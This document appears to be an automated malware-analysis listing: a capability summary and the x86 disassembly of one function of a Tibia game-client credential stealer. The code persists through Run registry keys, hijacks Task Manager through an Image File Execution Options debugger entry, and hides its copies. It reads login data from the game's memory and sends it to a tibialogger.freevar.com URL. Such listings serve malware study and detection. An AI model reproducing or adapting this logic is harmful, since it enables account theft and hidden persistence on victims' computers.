Function at 0x401290
Capabilities:
Create process on windows
Move file
Persist via image file execution options registry key
Persist via run registry key
Query environment variable
Set file attributes
Set registry value

Disassembly:
push ebp
mov eax, 0x10
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x45c
and esp, 0xfffffff0
call fcn.00401cf0
call fcn.00401990
mov dword [esp], str.programfiles
mov edx, 1
lea ebx, [ebp - 0x2c8]
mov dword [ebp - 0x42c], edx
mov edi, 0x40300d
call sub.msvcrt.dll_getenv
mov dword [esp + 0xc], eax
mov esi, 0x20
mov dword [esp + 8], edi
mov edi, 0x40300d
mov dword [esp + 4], esi
mov esi, 0x40
mov dword [esp], ebx
call fcn.00401d70
mov dword [esp + 0xc], ebx
mov ecx, str._sxerox123456a.exe
lea edx, [ebp - 0x388]
mov dword [esp + 8], ecx
mov eax, pe_nt_image_headers32
lea ebx, [ebp - 0x308]
mov dword [esp], edx
mov dword [esp + 4], eax
call fcn.00401d70
mov dword [esp], str.userprofile
call sub.msvcrt.dll_getenv
mov dword [esp + 0xc], eax
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call fcn.00401d70
mov dword [esp + 0xc], ebx
mov ecx, str._s123456a.exe
mov eax, 0x100
mov dword [esp + 8], ecx
lea edx, [ebp - 0x408]
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.00401d70
jmp 0x401370
mov dword [esp], 0x80000002
xor edi, edi
xor ecx, ecx
mov dword [esp + 0x20], edi
lea esi, [ebp - 0x40c]
xor edx, edx
mov dword [esp + 0x1c], esi
mov eax, 0x20006
xor edi, edi
mov dword [esp + 0x18], ecx
xor esi, esi
mov ecx, str.SOFTWAREMicrosoftWindowsCurrentVersionpoliciesExplorerRun
mov dword [esp + 0x14], eax
xor ebx, ebx
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], edi
mov dword [esp + 8], esi
mov dword [esp + 4], ecx
call sub.ADVAPI32.DLL_RegCreateKeyExA
sub esp, 0x24
test eax, eax
jne 0x4014c5
cmp dword [ebp - 0x42c], 1
mov ebx, 1
je 0x401887
mov eax, pe_nt_image_headers32
xor ecx, ecx
mov edx, str.123456a.exe
mov dword [esp + 0x14], eax
mov eax, dword [ebp - 0x40c]
lea edi, [ebp - 0x388]
mov dword [esp + 8], ecx
mov esi, 1
mov ebx, 2
mov dword [esp + 4], edx
mov dword [esp + 0x10], edi
mov edi, 7
mov dword [esp + 0xc], esi
lea esi, [ebp - 0x388]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegSetValueExA
sub esp, 0x18
mov dword [esp + 4], edi
mov edi, 0x20006
mov dword [esp], esi
xor esi, esi
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 8
xor ecx, ecx
lea edx, [ebp - 0x410]
mov dword [esp + 0x20], ecx
xor eax, eax
xor ecx, ecx
mov dword [esp + 0x1c], edx
xor edx, edx
mov dword [esp + 0x18], eax
mov eax, str.SOFTWAREMicrosoftWindows_NTCurrentVersionImage_File_Execution_Options_taskmgr.exe
mov dword [esp + 0x14], edi
mov edi, 1
mov dword [esp + 0x10], esi
mov esi, 0x40315e
mov dword [esp + 0xc], ecx
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov dword [esp], 0x80000002
call sub.ADVAPI32.DLL_RegCreateKeyExA
sub esp, 0x24
mov ecx, 1
xor edx, edx
mov dword [esp + 0x14], edi
mov edi, dword [ebp - 0x410]
mov eax, str.debugger
mov dword [esp + 0x10], esi
mov dword [esp + 0xc], ecx
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov dword [esp], edi
call sub.ADVAPI32.DLL_RegSetValueExA
mov esi, dword [ebp - 0x410]
sub esp, 0x18
mov dword [esp], esi
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
mov edx, dword [ebp - 0x40c]
mov dword [esp], edx
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
test ebx, ebx
jne 0x4015a0
cmp dword [ebp - 0x42c], 1
je 0x40185b
mov dword [esp], 0x80000001
xor ecx, ecx
lea ebx, [ebp - 0x40c]
mov dword [esp + 0x20], ecx
xor edx, edx
xor ecx, ecx
mov dword [esp + 0x1c], ebx
mov eax, 0x20006
xor edi, edi
mov dword [esp + 0x18], edx
xor esi, esi
mov ebx, str.SOFTWAREMicrosoftWindowsCurrentVersion_run
mov dword [esp + 0x10], edi
mov edi, 1
mov dword [esp + 0xc], esi
xor esi, esi
mov dword [esp + 8], ecx
mov dword [esp + 4], ebx
mov dword [esp + 0x14], eax
call sub.ADVAPI32.DLL_RegCreateKeyExA
mov ebx, dword [ebp - 0x40c]
sub esp, 0x24
mov ecx, str.123456a.exe
mov dword [esp + 4], ecx
mov edx, pe_nt_image_headers32
lea eax, [ebp - 0x408]
mov dword [esp + 0x14], edx
mov dword [esp + 0xc], edi
lea edi, [ebp - 0x408]
mov dword [esp], ebx
mov ebx, 2
mov dword [esp + 0x10], eax
mov dword [esp + 8], esi
call sub.ADVAPI32.DLL_RegSetValueExA
mov edx, dword [ebp - 0x40c]
sub esp, 0x18
mov dword [esp], edx
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
mov eax, 7
mov dword [esp + 4], eax
mov dword [esp], edi
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 8
dec ebx
sete dl
cmp dword [ebp - 0x42c], 1
sete al
test al, dl
jne 0x40187d
xor esi, esi
mov dword [ebp - 0x42c], esi
mov esi, esi
inc dword [ebp - 0x42c]
cmp dword [ebp - 0x42c], 3
jg 0x401370
mov dword [esp], 0x5dc
call sub.KERNEL32.dll_Sleep
sub esp, 4
xor edi, edi
mov dword [esp + 4], edi
mov dword [esp], str.TibiaClient
call sub.USER32.dll_FindWindowA
sub esp, 8
test eax, eax
mov edx, eax
je 0x4015c0
mov dword [esp], edx
lea eax, [ebp - 0x414]
xor ebx, ebx
mov dword [esp + 4], eax
call sub.USER32.dll_GetWindowThreadProcessId
mov ecx, dword [ebp - 0x414]
sub esp, 8
mov dword [esp + 4], ebx
mov dword [esp], 0x10
mov dword [esp + 8], ecx
call sub.KERNEL32.dll_OpenProcess
sub esp, 0xc
test eax, eax
mov ebx, eax
je 0x4015c0
mov dword [esp], ebx
xor esi, esi
mov edi, 7
mov dword [esp + 0x10], esi
lea eax, [ebp - 0x420]
mov edx, 0x75d3cc
mov dword [esp + 0xc], edi
lea esi, [ebp - 0x420]
mov edi, 0x4031a6
mov dword [esp + 8], eax
mov dword [esp + 4], edx
call sub.KERNEL32.dll_ReadProcessMemory
cld
mov ecx, 2
sub esp, 0x14
repe cmpsb byte [esi], byte es:[edi]
je 0x4015c0
cmp byte [ebp - 0x420], 0
je 0x4015c0
mov dword [esp], ebx
xor edi, edi
mov eax, 0x1e
mov dword [esp + 0x10], edi
lea edx, [ebp - 0x48]
mov ecx, 0x75d3ac
mov dword [esp + 0xc], eax
mov dword [esp + 8], edx
mov dword [esp + 4], ecx
call sub.KERNEL32.dll_ReadProcessMemory
sub esp, 0x14
cmp byte [ebp - 0x48], 0
je 0x4015c0
lea esi, [ebp - 0x428]
lea ebx, [ebp - 0x420]
mov dword [esp + 4], esi
mov dword [esp], ebx
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x4016f4
lea edx, [ebp - 0x68]
lea ecx, [ebp - 0x48]
mov dword [esp + 4], edx
mov dword [esp], ecx
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x4015c0
lea eax, [ebp - 0x420]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [ebp - 0x430], eax
lea ecx, [ebp - 0x48]
nop
lea esi, [esi]
mov edi, dword [ecx]
add ecx, 4
lea edx, [edi - 0x1010101]
not edi
and edx, edi
mov eax, edx
and eax, 0x80808080
je 0x401710
and edx, 0x8080
jne 0x401736
shr eax, 0x10
add ecx, 2
add al, al
mov edi, ecx
lea ebx, [ebp - 0x48]
sbb edi, 3
xor esi, esi
sub edi, ebx
cmp esi, dword [ebp - 0x430]
jge 0x401778
lea ebx, [ebp - 0x28]
movzx edx, byte [esi + ebp - 0x420]
mov ecx, 0x4031a8
inc esi
mov dword [esp], ebx
add ebx, 2
mov dword [esp + 8], edx
mov dword [esp + 4], ecx
call sub.msvcrt.dll_sprintf
cmp esi, dword [ebp - 0x430]
jl 0x40174f
xor esi, esi
cmp esi, edi
jge 0x4017a6
lea ebx, [ebp - 0xa8]
movzx ecx, byte [esi + ebp - 0x48]
mov eax, 0x4031a8
inc esi
mov dword [esp], ebx
add ebx, 2
mov dword [esp + 8], ecx
mov dword [esp + 4], eax
call sub.msvcrt.dll_sprintf
cmp esi, edi
jl 0x401784
mov edx, 0x40300d
lea eax, [ebp - 0x420]
mov ebx, 7
mov dword [esp + 8], edx
lea edi, [ebp - 0x428]
lea esi, [ebp - 0x48]
mov dword [esp + 4], ebx
lea ebx, [ebp - 0xa8]
mov dword [esp], edi
lea edi, [ebp - 0x28]
mov dword [esp + 0xc], eax
call fcn.00401d70
mov dword [esp + 0xc], esi
lea edx, [ebp - 0x68]
mov ecx, 0x40300d
mov dword [esp], edx
mov eax, 0x1e
mov esi, str._http:__tibialogger.freevar.com_n.php_a_sb_sc38323533333135d6d6b617369613139406f322e706c_
mov dword [esp + 8], ecx
mov dword [esp + 4], eax
call fcn.00401d70
mov dword [esp + 0x10], ebx
mov ecx, 0x200
lea ebx, [ebp - 0x2a8]
mov dword [esp + 0xc], edi
mov edi, str.explorer.exe
mov dword [esp + 8], esi
mov esi, str.open
mov dword [esp + 4], ecx
mov dword [esp], ebx
call fcn.00401d70
mov dword [esp + 0xc], ebx
xor eax, eax
xor edx, edx
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], edx
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], 0
call sub.SHELL32.DLL_ShellExecuteA
sub esp, 0x18
jmp 0x4015c0
mov ecx, dword [ebp + 0xc]
lea esi, [ebp - 0x408]
mov dword [esp + 4], esi
mov ebx, dword [ecx]
mov dword [esp], ebx
call sub.KERNEL32.dll_MoveFileA
sub esp, 8
test eax, eax
jne 0x4014eb
lea esp, [ebp - 0xc]
xor eax, eax
pop ebx
pop esi
pop edi
pop ebp
ret
mov edx, dword [ebp + 0xc]
lea ecx, [ebp - 0x388]
mov dword [esp + 4], ecx
mov eax, dword [edx]
mov dword [esp], eax
call sub.KERNEL32.dll_MoveFileA
sub esp, 8
dec eax
jne 0x4014c5
jmp 0x4013d5